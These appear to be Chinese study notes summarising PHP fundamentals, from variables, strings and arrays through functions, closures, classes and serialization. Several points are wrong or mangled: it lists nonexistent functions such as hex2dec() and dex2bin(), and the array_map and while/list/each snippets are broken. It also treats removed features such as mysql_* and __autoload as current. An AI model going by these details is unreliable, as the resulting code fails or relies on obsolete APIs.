//语法错误（syntax error）在语法分析阶段，源代码并未被执行，故不会有任何输出。

/\* 【命名规则】 \*/

常量名 类常量建议全大写，单词间用下划线分隔 // MIN\_WIDTH

变量名建议用下划线方式分隔 // $var\_name

函数名建议用驼峰命名法 // varName

定界符建议全大写 // <<<DING, <<<'DING'

文件名建议全小写和下划线、数字 // func\_name.php

私有属性名、方法名建议加下划线 // private $\_name \_func

接口名建议加I\_ // interface I\_Name

/\* 语言结构 \*/

array(), echo(), empty(), eval(), exit(), isset(), list(), print(), unset()

echo, print 可省略括号。

/\* 预定义常量 \*/

PATH\_SEPARATOR //路径分隔符(Windows为分号，类Unix为冒号)

DIRECTORY\_SEPARATOR //目录分隔符

PHP\_EOL //当前系统的换行符

PHP\_VERSION //PHP版本号

PHP\_OS //PHP服务操作系统

PHP\_SAPI //用来判断是使用命令行还是浏览器执行的，如果 PHP\_SAPI=='cli' 表示是在命令行下执行

PHP\_INT\_MAX INT最大值，32位平台时值为2147483647

PHP\_INT\_SIZE INT字长，32位平台时值为4（4字节）

M\_PI //圆周率值

M\_E //自然数

//PHP运行环境检测函数

php\_sapi\_name() //返回一个PHP与WEB服务器接口类型的小写字符串

该函数返回值与常量PHP\_SAPI一致！

接口类型：SAPI(the Server API, SAPI)

可能值：aolserver、apache、apache2filter、apache2handler、caudium、cgi、cgi-fcgi、cli、 continuity、embed、isapi、litespeed milter、nsapi、phttpd、pi3web、roxen、thttpd、tux、webjames

/\* 大小写问题 \*/

- 类名、方法名、属性名、函数名：不区分大小写

- 变量名、常量名、元素下标：区分大小写

/\* 可变标识符 \*/

可变变量 $i = 3; $k = 'i'; echo $$k; //输出3

可变函数 function func() {echo 'hello!';} $i = 'func'; $i(); //输出hello

可变下标 $i = '1234'; $k = 3; echo $i[$k]; //输出4

可变类名 class CLS{public $k = 'hello';} $i = 'CLS'; $j = new $i; echo $j->k;

可变属性 class CLS{public $k = 'hello';} $i = 'k'; $j = new CLS; echo $j->$i;

可变方法 class CLS{public function k(){echo 'hello';}} $i='k'; $j=new CLS; $j->$i();

/\* 可变变量 \*/

\* 用于业务逻辑判断得到某些具体信息

$var\_name = "class\_name";

$$var\_name = "PHP0913"; // $class\_name = "PHP0913";$class\_name已存入内存中

var\_dump($class\_name); // var\_dump($$var\_name);

/\* 变量函数 \*/

get\_defined\_vars //返回由所有已定义变量所组成的数组(包括环境变量、服务器变量和用户定义的变量)

/\* unset() \*/

\* unset()仅删除当前变量名和引用，其值并未被删除

\* 引用传递中，删除一个变量及其引用，其他变量及引用均存在，且值依然存在

echo "<br />";

$v3 = '值';

$v4 = &$v3;

unset($v4);

var\_dump($v3, $v4);

/\* 变量的最长有效期 \*/

\* 当前脚本的执行周期，脚本执行结束，变量即消失

/\* 预定义变量/超全局变量 \*/

$GLOBALS

$\_COOKIE

$\_ENV

$\_FILES

$\_GET

$\_POST

$\_REQUEST

$\_SERVER

$\_SESSION

/\* 常量定义 \*/

define(常量名, 常量值, [区分大小写参数]) //true表示不区分/false表示区分大小写

const 常量名 = 常量值 // 新，建议

常量名可以使用特殊字符

constant($name) // 获取常量名

// 例：echo constant('-\_-');

/\* 常量相关函数 \*/

defined

get\_defined\_constants

/\* 预定义常量 \*/

\_\_FILE\_\_ 所在文件的绝对路径

\_\_LINE\_\_ 文件中的当前行号

\_\_DIR\_\_ 文件所在目录

\_\_FUNCTION\_\_ 函数名称

\_\_CLASS\_\_ 类的名称

\_\_METHOD\_\_ 类的方法名

\_\_NAMESPACE\_\_ 当前命名空间的名称

/\* 整型 \*/

整型占用4字节，共4\*8=32位，最大值为2147483647，最小值为-2147483648，最小值的绝对值比最大值的大1

最高为表示正负，1表示负，0表示正

/\* 进制转换函数 \*/

只能十进制与其他进制进行转换，只有六种

转换时，参数应是字符串（即不可含八进制的“0”或十六进制的“0x”）

dec

bin

oct

hex

hexdec() 十六进制转十进制 也可写hex2dec()

dechex() 十进制转十六进制 也可写dec2hex()

bindec() 二进制转十进制 也可写bin2dec()

decbin() 十进制转二进制 也可写dex2bin()

octdec() 八进制转十进制 也可写oct2dec()

decoct() 十进制转八进制 也可写dec2oct()

/\* 浮点数 \*/

浮点数不能比较大小 ！！！

几乎所有小数，在保存时都是近似值而不是精确值！

最大值：+/- 1.8E308

PHP所能保存的最长小数位：14位

/\* 单引号字符串 \*/

单引号字符串中，只能转义反斜杠和单引号

/\* 双引号字符串 \*/

只解析字符串一次 ！！！

eval 把字符串作为PHP代码执行

大括号包裹变量，可确定变量名界限。如："aaa{$bbb}ccc"

双引号中可以将ASCII码转换为字符

"\x61" -> a // 字符串中不需0，整型中才是0x前导

"\x49\x54\x43\x41\x53\x54" -> ITCAST

将ASCII转成字符函数chr()

将字符转成ASCII函数ord()

#双引号转义列表

\n 换行

\r 回车

\t 水平制表符

\\ 反斜线

\$ 美元标记

\v 垂直制表符

\e Escape

\f 换页

\" 双引号"

\[0-7]{1,3} 符合该正则表达式序列的是一个以八进制方式来表达的字符

\x[0-9A-Fa-f]{1,2} 符合该正则表达式序列的是一个以十六进制方式来表达的字符

/\* 定界符 \*/

herodoc - 功能同双引号，能解析

$str = <<<AAA

字符串内容

AAA;

nowdoc - 功能同单引号，不能解析

只在开始位置有单引号

$str = <<<'AAA'

字符串内容

AAA;

/\* 字符串的使用 \*/

可将字符串当作一个字符的集合来使用，可独立访问每个字符。仅适用于单字节字符（字母、数字、半角标点符号），像中文等不可用

$str = "abcd";

echo $str[3]; // d

echo $str{0}; // a

/\* 【类型操作函数】 \*/

//获取/设置类型

gettype($var) //获取变量的数据类型

settype($var, $type) //设置变量的数据类型

//类型判断

is\_int

is\_float

is\_null

is\_string

is\_resource

is\_array

is\_bool

is\_object

is\_numeric 检测变量是否为数字或数字字符串

//转换成指定的数据类型

boolval

floatval

intval

strval

//强制转换类型

(int)

(float)

(string)

(bool)

(array)

(object)

(unset) //转换为NULL

(binary) 转换和 b前缀转换 //转换成二进制

var\_dump 打印变量的相关信息。

显示关于一个或多个表达式的结构信息，包括表达式的类型与值。

数组将递归展开值，通过缩进显示其结构。

var\_export($var [,bool $return]) //输出或返回一个变量的字符串表示

$return：为true，则返回变量执行后的结果

print\_r 打印关于变量的易于理解的信息

empty 检查一个变量是否为空

isset 检测变量是否存在

/\* 【流程控制】 \*/

//if语句的替代语法

if (条件判断) :

语句块;

elseif (条件判断) :

语句块;

else :

语句块;

endif;

//流程控制的替代语法

在嵌入HTML时常用

将 { 换成 : , 将 } 换成 endif; 等

endif

endwhile

endfor

endforeach

endswitch

/\* 【switch】 \*/

switch (条件) {

case 状态值1:

语句块;

[break;]

case 状态值2:

语句块;

[break;]

case 状态值3:

case 状态值4:

语句块;

[break;]

default:

语句块;

[break;]

}

switch是状态分支，特殊的循环

先计算出状态值，再去与判断数作比较

break退出流程

/\* 【for循环】 \*/

for (条件初始化表达式; 条件判断表达式; 条件变化表达式) {

循环体

}

假设循环体被执行了N次，则

条件初始化表达式被执行1次

条件判断表达式被执行N+1次

条件变化表达式被执行N次

注意：

1. 循环变量在for语句结束后还可以继续使用，值为第一次失败的值

2. 循环变量在for循环体内可以使用

3. 任何条件表达式均可省略，但分号不能省略

a. 条件初始化表达式被省略时，循环变量被赋值为null，在与条件判断时，

进行类型转换后再比较。也可以在for语句外进行初始化。

b. 条件判断表达式被省略时，表示循环为真，进入死循环

c. 条件变化表达式被省略时，可以在循环体内完成

4. 每个表达式均可由多条语句组成，每条语句之间使用逗号分割

如果条件判断表达式由多条语句组成，都会执行，但只有最后一条语句才作为判断条件

5. for只能遍历数值型索引下标数组

数组长度函数：count()

6. 应该将可以初始化的语句均放在条件初始化表达式内，这样可以省去很多执行次数

/\* 【goto】5.3+ 版本 \*/

用来跳转到程序中的某一指定位置

该目标位置可以用目标名称 加上冒号来标记。

PHP中的goto有一定限制，只能在同一个文件和作用域中跳转，

也就是说你无法跳出一个函数或类方法，也无法跳入到另一个函数。

你也无法跳入到任何循环或者switch结构中。

常见的用法是用来跳出循环或者switch，可以代替多层的break。

可以从循环(switch)中跳出来，但不能从外部跳转进去。而函数或类方法，向外向内均不可。

goto a;

echo 'Foo';

a:

echo 'Bar';

/\* 【文件加载】 \*/

require / include / require\_once / include\_once

文件载入只是载入目标文件内的代码并执行，与载入的文件类型无关

文件载入属于执行阶段，当执行到require等语句时，才载入该文件的代码，

编译并执行，然后回到require等语句位置继续执行下面的语句

【注意】

在载入开始时，先退出PHP模式；

再载入目标文件代码，执行该代码；

结束时，再进入PHP模式。

require：处理失败，产生 E\_COMPILE\_ERROR 错误，脚本中止。

include：处理失败，产生 E\_WARNING 错误，脚本继续执行。

#不建议使用require\_once/include\_once

/\* 【相对路径】 \*/

当前浏览器请求的哪个脚本，当前位置就是属于哪个脚本。

./file 和 file 都表示当前目录下的file文件

file情况（嵌套载入文件时）：

如果当前目录没找到该文件就在代码文件所在目录中继续找。

如果当前目录找到有该文件，则不会再在代码文件所在目录去找也不会再加载。

\_\_DIR\_\_ 脚本文件所在目录

\_\_FILE\_\_ 脚本文件路径

include\_path 加载文件查找目录

set\_include\_path() 设置include\_path，可多个，用字符串作参数

该函数设置的path只针对该当前文件有效

该设置只针对查找未直接写文件路径方式有效

设置新的include\_path会覆盖原来的

get\_include\_path() 获取当前include\_path设置项，无参数

路径分隔符，在Windows下是分号，在Linux下是冒号

利用预定义常量 PATH\_SEPARATOR 来获得当前的分隔符

如果直接写文件名：

1. include\_path所设置的

2. 当前目录

3. 代码所在文件的目录

如果文件名前带有路径，则会直接根据路径查找，include\_path直接被忽略

/\* 【return】 \*/

return与require结合，可返回文件的内容，return写在被载入的文件内

return可以终止所在脚本的执行，作为普通脚本语句

return可以返回函数的相应值

/\* 【终止和延迟脚本执行】 \*/

die / exit 终止

return是终止所在脚本的执行

die和exit会立即终止脚本执行

die("到此为止"); 该函数内的字符串可被输出

sleep() 延迟(单位：秒)

默认最多可延迟30秒，PHP配置可以修改 max\_execution\_time

例：sleep(12);

usleep() 以指定的微秒数延迟执行

time\_sleep\_until 使脚本睡眠到指定的时间为止

/\* 【函数】 \*/

1. 函数的声明是在编译时，故先定义再调用，定义与调用无先后关系！

2. 文件只是代码的载体，程序均在内存中执行！

3. 如果函数的定义在需要载入的文件内，则需要先载入该文件，否则调用出错！

4. 函数的定义可以出现在其他的代码段中，此时函数不会在编译阶段被执行

只有被执行到时才会被定义！只有独立定义时才会被编译在内存中！

如果出现在其他函数体内，也需要外层函数被调用时才被定义并生效！

5. 函数名不区分大小写

6. 不允许重名，包括系统函数

7. 【可变函数】

函数名可以用其他变量代替

$func\_name = "sayHello";

$func\_name(); //此时调用sayHello()函数

注意：只有在调用时才能使用变量，定义时不允许！

8. 变量可作为函数名调用函数，数组元素值也可以！

9. 形式参数parameter，实际参数argument

可以对参数传递 null，表示该形参不想传递值

形参与实参之间既可值传递，也可引用传递。

引用传递参数，应该在定义函数时就在形式参数前加上 & 符号，而此时调用函数实参必须为变量

如何选择使用哪种传递方式？

a. 是否需要保证原始数据的完整性

b. 是否需要增加效率

c. 对大数据引用传递可节省内存

10. 参数默认值

a. 函数的参数默认值必须是已经确定的值，不能是变量！

只要在调用之前定义该常量，则可以使用常量作为参数默认值

b. 函数默认值可以有多个，建议将有默认值的参数放在参数列表的最后面

这样可以在调用函数时，不赋予后面有默认值的参数值，否则会出错

c. 默认参数可以是非标量类型，比如数组、null

d. 任何默认参数必须放在任何非默认参数的右侧

11. 参数数量

a. 形参数量多于实参数量

报告警告级别错误，并以NULL代替

b. 实参多于形参

不报告错误，依次为形参赋值

c. 不确定参数数量

1) 一个形参都不定义，永远都是实参多于形参

2) 【可变数量参数】

func\_get\_args() 获取当前函数被调用时所有实参的值，返回一个所有实参值组成的数组

func\_get\_arg() 获取某个实参的值，通过索引值标识，e.g: func\_get\_arg(0)

func\_num\_args() 获取所有实参的数量

12. 【return】返回值

a. 函数只有一个返回值，可以通过返回一个数组来得到类似的结果，但可以有多条return语句

b. return语句会立即中止函数的运行，并将控制权交回调用该函数的代码行

c. 可以返回包括数组和对象的任意类型

d. 函数的返回也分值传递和引用传递（返回的是一个变量才可）

1) 默认是值传递方式

2) 引用传递方式：

- 定义函数时，函数名前加上& 表示该函数可以返回引用

- 调用函数时，函数名前加上& 表示取得函数返回的引用

此时，函数外修改返回值，会修改函数内的该返回变量的值

- 如果函数需返回引用，则需要返回一个变量才可以

- 从函数返回一个引用，必须在函数声明和指派返回值给一个变量时都使用引用操作符&

function &returns\_reference(){return $someref;}

$newref =& returns\_reference();

3) 返回引用的作用

/\* 【变量作用域】 \*/

a. 全局变量和局部变量

1) 作用域之间不重叠，即不同作用域的变量，之间不可访问

2) 全局作用域 - 函数之外的区域

3) 局部作用域 - 函数内的区域，每个函数都是一个独立的作用域

b. 超全局变量，既可以在全局也可在局部使用，仅能用系统自带的，均是数组变量。

$GLOBALS $\_COOKIE $\_ENV $\_FILES $\_GET

$\_POST $\_REQUEST $\_SERVER $\_SESSION

c. $GLOBALS

1) 不能存在超全局变量，但可以有超全局的数据！

2) 将需要的数据放到超全局变量的数组内，但统一使用$GLOBALS

3) $GLOBALS 特征

- 每个全局变量就是对应$GLOBALS内的一个元素！

每当增加一个全局，则自动在$GLOBALS内增加一个同名元素！

同理，每当增加元素，也会增加一个全局变量，一般在函数内增加

- 做的任何修改，也会映射到另一个，包括更新和删除

在函数内访问全局变量，只需使用$GLOBALS

- 出现过的全局变量，就可以通过$GLOBALS这个数组取得

4) PHP生命周期中，定义在函数体外部的所谓全局变量，函数内部是不能直接获得的

4) global关键字（不建议使用）

将局部变量声明为同名全局变量的一个'引用'！相当于常量的引用传递

global $var; // $var = &$GLOBALS['var'];

不同于$GLOBALS！！！

global在函数产生一个指向函数外部变量的别名变量，而不是真正的函数外部变量。

$GLOBALS确确实实调用是外部的变量，函数内外会始终保持一致。

global的作用是定义全局变量，但是这个全局变量不是应用于整个网站，而是应用于当前页面，包括include或require的所有文件。

d.

1) 作用域只针对变量，对常量无效

2) 被载入文件中定义的变量作用域取决于被载入的位置。

函数外被载入就是全局，函数内被载入就是局部！

/\* 【变量生命周期】 \*/

1. 脚本结束时，全局变量消失

2. 函数执行完时，局部变量消失

3. 静态变量

static关键字

静态变量仅在局部函数域中存在，但当程序执行离开此作用域时，其值并不丢失。

静态变量仅会被初始化一次，其他局部变量每次被调用时都会被重新赋值。

static声明的静态变量的生命周期会被一直延续。

/\* 【迭代和递归】 \*/

迭代比递归效率高！

迭代是一种思想（算法），结构和使用上如同循环！

递归是一种思想（算法），将大问题拆分成小问题，逐一解决小问题以解决大问题

要求大问题和小问题的解决方案是一致的！

递归的结构和语法体现如图函数。函数体内调用函数本身！

递归出口：当该问题可以解决时，则不用再递归

/\* 【匿名函数/闭包函数】 \*/

匿名函数，也叫闭包函数(closures)，允许临时创建一个没有指定名称的函数。

1. 定义匿名函数时，不需增加函数名。

2. PHP对匿名函数的管理，以一个对象的方式进行处理。

3. 匿名函数应该存放到变量内。

4. 匿名函数通过Closure类来实现

5. 可以使用函数作为函数的参数和返回值

6. 声明函数时可以使用 use($param) 来向函数中传入函数外的变量，结合变量引用来实现闭包

7. 可以用变量引用函数

$func = function ($e) {

echo $e;

}; //结束时，需分号结束，如同变量赋值

var\_dump($func); //使用匿名函数

$func('ITCAST'); //函数的调用

这不是可变函数，而是对象。Closure闭包类

//use语法

匿名函数倾向于值的概念，可能出现在任何地方。

use可以使得匿名函数使用其外部作用域的变量。非全局！

use与全局的区别：

use使用其外部作用域的变量

function out() {

$v = "in out";

$func = function () use (& $v) {

var\_dump($v);

}

}

use类似参数的自动传递，也支持值与引用的传递方式。

//作用

常作为'临时函数'被调用（只在某个地方被调用的函数）

例如：

PHP存在一个array\_map()函数，功能是针对一个函数内每个元素，去调用某个函数

操作结果(array) = array\_map(操作函数, 操作数组);

$result\_arr = array\_map(function ($v) {return $v3}, $arr);

//闭包用法实例

function closureCreater() {

$x = 1;

return function($fun = null) use(&$x) {//按引用传值

echo "<br />" . $x++;

$fun and $fun();

};

}

$x = "hello world";

$test = closureCreater();

$test();

$test(function(){ echo "closure test one"; });

$test(function(){ echo "closure test two"; });

$test(function() use($x){ echo "<br />".$x;});

//将函数保存为数组元素

$x = 'outer param.';

$arr = array();

$arr[] = function($str)use($x){ return $str.$x; };

echo $arr[0]('test fun in arr,');

/\* 【数组】 \*/

关联数组：键和值有关联，键表示值的逻辑含义。

索引数组：键和值无关联，键表示值的位置。通常下标从0开始，递增元素

count($var [,$mode]) //统计数组元素个数

$mode可选，设为1或true时则递归统计

$var非数组，返回1；$var未初始化或等于null或空数组，返回0

//键名的使用

整型数字键不需加引号($arr[1])

字符串数字键也不需加引号($arr = array('1'=>'abc'); $arr[1])

关联数组，字符串键需加引号($arr = array('a'=>'aaa'); $arr['a'])

关联数组，双引号中解析变量，可不加引号($arr = array('a'=>'aaa'); "$arr[a]")

/\* 【指针】 \*/

current/pos 返回当前被内部指针指向的数组单元的值，并不移动指针。

key 返回数组中当前单元的键名，并不移动指针

next 将数组中的内部指针向前移动一位，并返回移动后当前单元的值。先移动，再取值。

prev 将数组的内部指针倒回一位，并返回移动后当前单元的值先移动，再取值。

end 将数组的内部指针指向最后一个单元，并返回最后一个单元的值

reset 将数组的内部指针指向第一个单元，并返回第一个数组单元的值

each 返回数组中当前的键/值对并将数组指针向前移动一步。

返回的是一个由键和值组成的长度为4的数组，下标0和key表示键，下标1和value表示值

在执行each()之后，数组指针将停留在数组中的下一个单元

或者当碰到数组结尾时停留在最后一个单元。

如果要再用 each 遍历数组，必须使用 reset()。

1. 以上指针操作函数，除了key()，若指针移出数组，则返回false。而key()移出则返回null。

2. 若指针非法，不能进行next/prev操作，能进行reset/end操作

3. current/next/prev 若遇到包含空单元（0或""）也会返回false。而each不会！

list 把数组中的值赋给一些变量。list()是语言结构，不是函数

仅能用于数字索引的数组并假定数字索引从0开始

/\* 可用于交换多个变量的值 \*/ list($a, $b) = array($b, $a);

例：list($drink, , $power) = array('coffee', 'brown', 'caffeine');

1. 复制数组，其指针位置也会被复制。

特例：如果数组指针非法，则拷贝的数组指针会重置，而原数组的指针不变。

【指针问题】

谁第一个进行写操作，就会开辟一个新的值空间。与变量(数组变量)值传递给谁无关。

数组函数current()被定义为写操作，故会出现问题。

foreach遍历的是数组的拷贝，当被写时，才会开辟一个新的值空间。

即，foreach循环体对原数组进行写操作时，才会出现指针问题。

如果开辟新空间时指针非法，则会初始化指针。

2. 如果指针位置出现问题，则reset()初始化一下就可解决。

/\* 【遍历数组】 \*/

\* 先找到元素，再获取键和值

foreach

foreach (array\_expression as [$key =>] & $value)

当foreach开始执行时，数组内部的指针会自动指向第一个单元。

获取元素信息后，移动指针，再执行循环体

1. foreach本身循环结构，break和continue适用于foreach

2. foreach支持循环的替代语法。

3. $value是保存元素值的变量，对其修改不会改变数组的元素值

4. $value支持元素值的引用拷贝，在$value前加上&即可

5. $key不支持引用传递

6. foreach遍历的是原数组的拷贝，而在循环体对数组的操作是操作原数组

即循环体对数组的操作，对原数组生效，对遍历不生效。

先拷贝一份数组用作遍历

while...list...each

while (list($key, $val) = mysql\_fetch\_row($result)) = each($arr) {

echo "$key => $val\n";

}

/\* 【数组函数】 \*/

//统计计算

count 计算数组中的单元数目或对象中的属性个数

array\_count\_values 统计数组中所有的值出现的次数

array\_product 计算数组中所有值的乘积

array\_sum 计算数组中所有值的和

range 建立一个包含指定范围单元的数组

//获取数组内容

array\_chunk 将一个数组分割成多个

array array\_chunk(array $input, int $size[, bool $preserve\_keys])

array\_filter 用回调函数过滤数组中的单元

array\_slice 从数组中取出一段

array array\_slice($arr, $offset [,$len [,$preserve\_keys]])

array\_keys 返回数组中所有的键名

array array\_keys(array $input[, mixed $search\_value[, bool $strict]] )

如果指定了可选参数 search\_value，则只返回该值的键名。否则input数组中的所有键名都会被返回。

array\_values 返回数组中所有的值，并建立数字索引

array\_merge 合并一个或多个数组

一个数组中的值附加在前一个数组的后面。

如果输入的数组中有相同的字符串键名，则该键名后面的值将覆盖前一个值。

如果数组包含数字键名，后面的值将不会覆盖原来的值，而是附加到后面。

如果只给了一个数组并且该数组是数字索引的，则键名会以连续方式重新索引。

array\_merge\_recursive 递归地合并一个或多个数组

//搜索

in\_array 检查数组中是否存在某个值

bool in\_array(mixed $needle, array $haystack[, bool $strict])

array\_key\_exists 检查给定的键名或索引是否存在于数组中

isset()对于数组中为NULL的值不会返回TRUE，而 array\_key\_exists()会

array\_search 在数组中搜索给定的值，如果成功则返回相应的键名

array\_combine 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值

如果两个数组的单元数不同或者数组为空时返回FALSE。

array\_rand 从数组中随机取出一个或多个单元，返回键名或键名组成的数组，下标是自然排序的

array\_fill 用给定的值填充数组

array\_fill($start, $num, $value)

array\_flip 交换数组中的键和值

array\_pad 用值将数组填补到指定长度

array\_reverse 返回一个单元顺序相反的数组

array\_unique 移除数组中重复的值

array\_splice 把数组中的一部分去掉并用其它值取代

implode 将数组元素值用某个字符串连接成字符串

explode($delimiter, $str [,$limit]) //使用一个字符串分割另一个字符串

$delimiter不能为空字符串""

array\_map 将回调函数作用到给定数组的单元上，只能处理元素值，可以处理多个数组

如果callback参数设为null，则合并多个数组为一个多维数组

array\_walk 对数组中的每个成员应用用户函数，只能处理一个数组，键和值均可处理，与foreach功能相同

bool array\_walk ( array &$array , callback $funcname [, mixed $userdata ] )

//栈：后进先出

入栈和出栈会重新分配索引下标

array\_push 将一个或多个单元压入数组的末尾（入栈）

array\_pop 将数组最后一个单元弹出（出栈） 使用此函数后会重置(reset())array 指针。

//队列：先进先出

队列函数会重新分配索引下标

array\_unshift 在数组开头插入一个或多个单元

array\_shift 将数组开头的单元移出数组 使用此函数后会重置(reset())array 指针。

//排序函数

sort 对数组排序

rsort 对数组逆向排序

asort 对数组进行排序并保持索引关系

arsort 对数组进行逆向排序并保持索引关系

ksort 对数组按照键名排序

krsort 对数组按照键名逆向排序

usort 使用用户自定义的比较函数对数组中的值进行排序

uksort 使用用户自定义的比较函数对数组中的键名进行排序

uasort 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

natsort 用用“自然排序”算法对数组排序

natcasesort 用“自然排序”算法对数组进行不区分大小写字母的排序

array\_multisort 对多个数组或多维数组进行排序

shuffle 将数组打乱

引用传递参数，返回bool值。

重新赋予索引键名，删除原有键名

//差集

array\_udiff\_assoc 带索引检查计算数组的差集，用回调函数比较数据

array\_udiff\_uassoc 带索引检查计算数组的差集，用回调函数比较数据和索引

array\_udiff 用回调函数比较数据来计算数组的差集

array\_diff\_assoc 带索引检查计算数组的差集

array\_diff\_key 使用键名比较计算数组的差集

array\_diff\_uassoc 用用户提供的回调函数做索引检查来计算数组的差集

array\_diff\_ukey 用回调函数对键名比较计算数组的差集

array\_diff 计算数组的差集

//交集

array\_intersect\_assoc 带索引检查计算数组的交集

array\_intersect\_key 使用键名比较计算数组的交集

array\_intersect\_uassoc 带索引检查计算数组的交集，用回调函数比较索引

array\_intersect\_ukey 用回调函数比较键名来计算数组的交集

array\_intersect 计算数组的交集

array\_key\_exists 用回调函数比较键名来计算数组的交集

array\_uintersect\_assoc 带索引检查计算数组的交集，用回调函数比较数据

array\_uintersect 计算数组的交集，用回调函数比较数据

extract($arr [,$type [,$prefix]]) 从数组中将变量导入到当前的符号表(接受结合数组$arr作为参数并将键名当作变量名，值作为变量的值)

compact($var [,...]) 建立一个数组，包括变量名和它们的值(变量名成为键名而变量的内容成为该键的值)

/\* 【伪类型】 \*/

mixed 说明一个参数可以接受多种不同的（但并不必须是所有的）类型。

number 说明一个参数可以是 integer 或者 float。

callback 回调函数

void void作为返回类型意味着函数的返回值是无用的。

void作为参数列表意味着函数不接受任何参数。

/\* 【数据库操作】 \*/

#连接认证

mysql\_connect 连接并认证数据库

#发送SQL语句，接收执行结果

mysql\_query 发送SQL语句

仅对select, show, explain, describe语句执行成功返回一个资源标识符，其他语句成功返回true。执行失败均返回false。

#处理结果

mysql\_fetch\_assoc 从结果集中取得一行作为关联数组

每次只取回一条，类似each

结果集中记录指针

mysql\_fetch\_row 从结果集中取得一行作为枚举数组

mysql\_fetch\_array 从结果集中取得一行作为关联数组，或数字数组，或二者兼有

array mysql\_fetch\_array ( resource $result [, int $ result\_type ] )

可选参数result\_type可选值为：MYSQL\_ASSOC，MYSQL\_NUM 和 MYSQL\_BOTH(默认)

mysql\_free\_result 释放结果内存

#关闭链接

mysql\_close 关闭连接

/\* 【类和对象】 \*/

# 成员：

类成员：类常量、静态属性、静态方法

对象成员：非静态属性、非静态方法

# 除此外，类不能包含任何其他东西！！！

# 类名、方法名、属性名均不区分大小写

# $this代表本对象，self代表本类，parent代表父类

# 类和函数均可被事先编译（仅作为最外层时）

# 类的定义必须在单一的PHP区块内，不能被多个PHP标签分割

// 构造方法

- 具有构造函数的类会在每次创建新对象时先调用此方法

void \_\_construct([ mixed $args [, $... ]] )

- 构造方法所需参数由new实例化对象时，给类增加参数值。

- 构造方法也可以被手动调用。

- 5.3.3版本以前，支持于类名同名的方法作为构造方法。

- 两种冲突时，\_\_construct 优先

// 析构方法

- 析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

void \_\_destruct( void )

# 作用：释放对象所占用的资源

# 调用的时机

- 脚本结束时所有资源均被释放，包括对象

- 手动删除对象时

- 保存对象的变量被赋予新值时(任何值，包括null)

- 在使用exit()终止脚本运行时也会被调用

// 静态成员(static关键字)

- 声明类成员或方法为static，就可以不实例化类而直接访问。

- 静态成员（属性或方法）均属于类，故不能通过$this或->访问。

- 静态成员是所有对象共享，属于类。

- 静态成员用类调用，非静态成员用对象调用。

# 静态属性

- 静态属性不可以由对象通过->操作符来访问。

- 静态属性只能被初始化为一个字符值或一个常量，不能使用表达式。 所以你可以把静态属性初始化为整型或数组，但不能指向另一个变量或函数返回值，也不能指向一个对象。

# 静态方法

- 由于静态方法不需要通过对象即可调用，所以伪变量$this在静态方法中不可用。

- 用::方式调用一个非静态方法会导致一个E\_STRICT级别的错误。

// 访问解析操作符(::)

- 可以用于访问静态成员、方法和常量，还可以用于覆盖类中的成员和方法。

- 当在类的外部访问这些静态成员、方法和常量时，必须使用类的名字。

- self 和 parent 这两个特殊的关键字是用于在类的内部对成员或方法进行访问的。

// 访问辨析

- 对象成员，内部通过$this指定，外部通过对象名指定，均用->访问，访问属性时不需加$。

对象名->属性名 对象名->方法名() $this->属性名 $this->方法名()

- 类成员，内部通过self或parent指定，外部通过类名指定，均用::访问，访问属性时需加$。

类名::$属性名 类名::方法名() self::$属性名 self::方法名()

- 特殊：也可以通过对象访问类成员。（不建议）

对象名::$类属性名 $this::$类属性名 对象名::$类方法名() $this::类方法名()

# 对象成员访问用->，类成员访问用::

- 无论是静态方法还是非静态方法，均可通过类或对象进行访问。

- 静态属性通过类访问，静态方法通过对象访问。

- 只有使用对象调用非静态方法时，$this才可以使用！

- 静态方法不可使用$this。

- 类可以调用对象方法，但注意方法内不能有$this。

- 非静态方法可以调用静态属性或静态方法，反之不可以。

// 类常量

- 常量的值将始终保持不变。

- 在定义和使用常量的时候不需要使用$符号。

- 常量的值必须是一个定值，不能是变量，类属性或其它操作（如函数调用）的结果。

# 定义：const 常量名 = 常量值;

- 不需要加public等访问修饰限定符

- 类常量属于类，使用类访问，类名::类常量 或 self::类常量

// 自动加载对象

- 在试图使用尚未被定义的类时自动调用 \_\_autoload 函数

- 自动加载使用到的类名文件（根据类名找相应名称的文件，故需类名与类文件名一致）

- 每个需要加载类的文件都需要存在\_\_autoload函数

- 将\_\_autoload函数写入单独的文件，每个需要用到类的文件再require该函数文件

- \_\_autoload 参数是类名

function \_\_autoload($class\_name) {

require\_once $\_SERVER["DOCUMENT\_ROOT"] . "/class/$class\_name.php";

}

// $\_SERVER["DOCUMENT\_ROOT"] 当前运行脚本所在的文档根目录

- 可以通过类名，来推导出类所在的文件名！

- 如果一个项目存在多个自动加载函数时，定义一个可以完成加载的普通函数，并在函数之前使用spl\_autoload\_register注册该函数。

# spl\_autoload\_register

- 注册\_\_autoload()函数

bool spl\_autoload\_register ([ callback $autoload\_function ] )

- 可以注册多个自动加载函数，先注册的先执行

- 一旦注册自动加载函数，\_\_autoload就失效。

- 注册函数时，参数为函数名（注意加引号）；注册方法时，参数为数组

# 注册类或对象的方法为自动加载方法时，参数需为数组：

spl\_autoload\_register(array(\_\_CLASS\_\_, '\_\_autoload'));

\_\_CLASS\_\_表示当前类名，若是对象可用$this，详细见手册

// 序列化（串行化）

# 数据传输均是字符串类型

# 除了资源类型，均可序列化

# 序列化在存放数据时，会存放数据本身，也会存放数据类型

作用：1.在网络传输数据时；2.为了将数组或对象放在磁盘时

# 序列化

serialize 产生一个可存储的值的表示

string serialize ( mixed $value )

- 返回字符串，此字符串包含了表示value的字节流，可以存储于任何地方。

- 有利于存储或传递 PHP 的值，同时不丢失其类型和结构。

# 反序列化

unserialize 从已存储的表示中创建PHP的值

mixed unserialize ( string $str [, string $callback ] )

- 对单一的已序列化的变量进行操作，将其转换回PHP的值。

# 文件的读写操作

- file\_put\_contents 将一个字符串写入文件

int file\_put\_contents($file, $data [,$flags])

$flags：FILE\_USE\_INCLUDE\_PATH(覆盖)，FILE\_APPEND(追加)

- file\_get\_contents 将整个文件读入一个字符串

string file\_get\_contents($file [, bool $use\_include\_path [,int $offset [,int $maxlen]]])

# 对象序列化

- 只能序列化对象内部的数据，即非静态属性。

# 需在反序列化对象之前加载类，也可以触发自动加载机制。

\_\_sleep 序列化需序列化的属性。

- 提交未提交的数据，或类似的清理操作，部分串行化对象。

- 返回一个包含对象中所有应被序列化的变量名称的数组

\_\_wakeup 反序列化时，预先准备对象需要的资源

- 重新建立数据库连接，或执行其它初始化操作

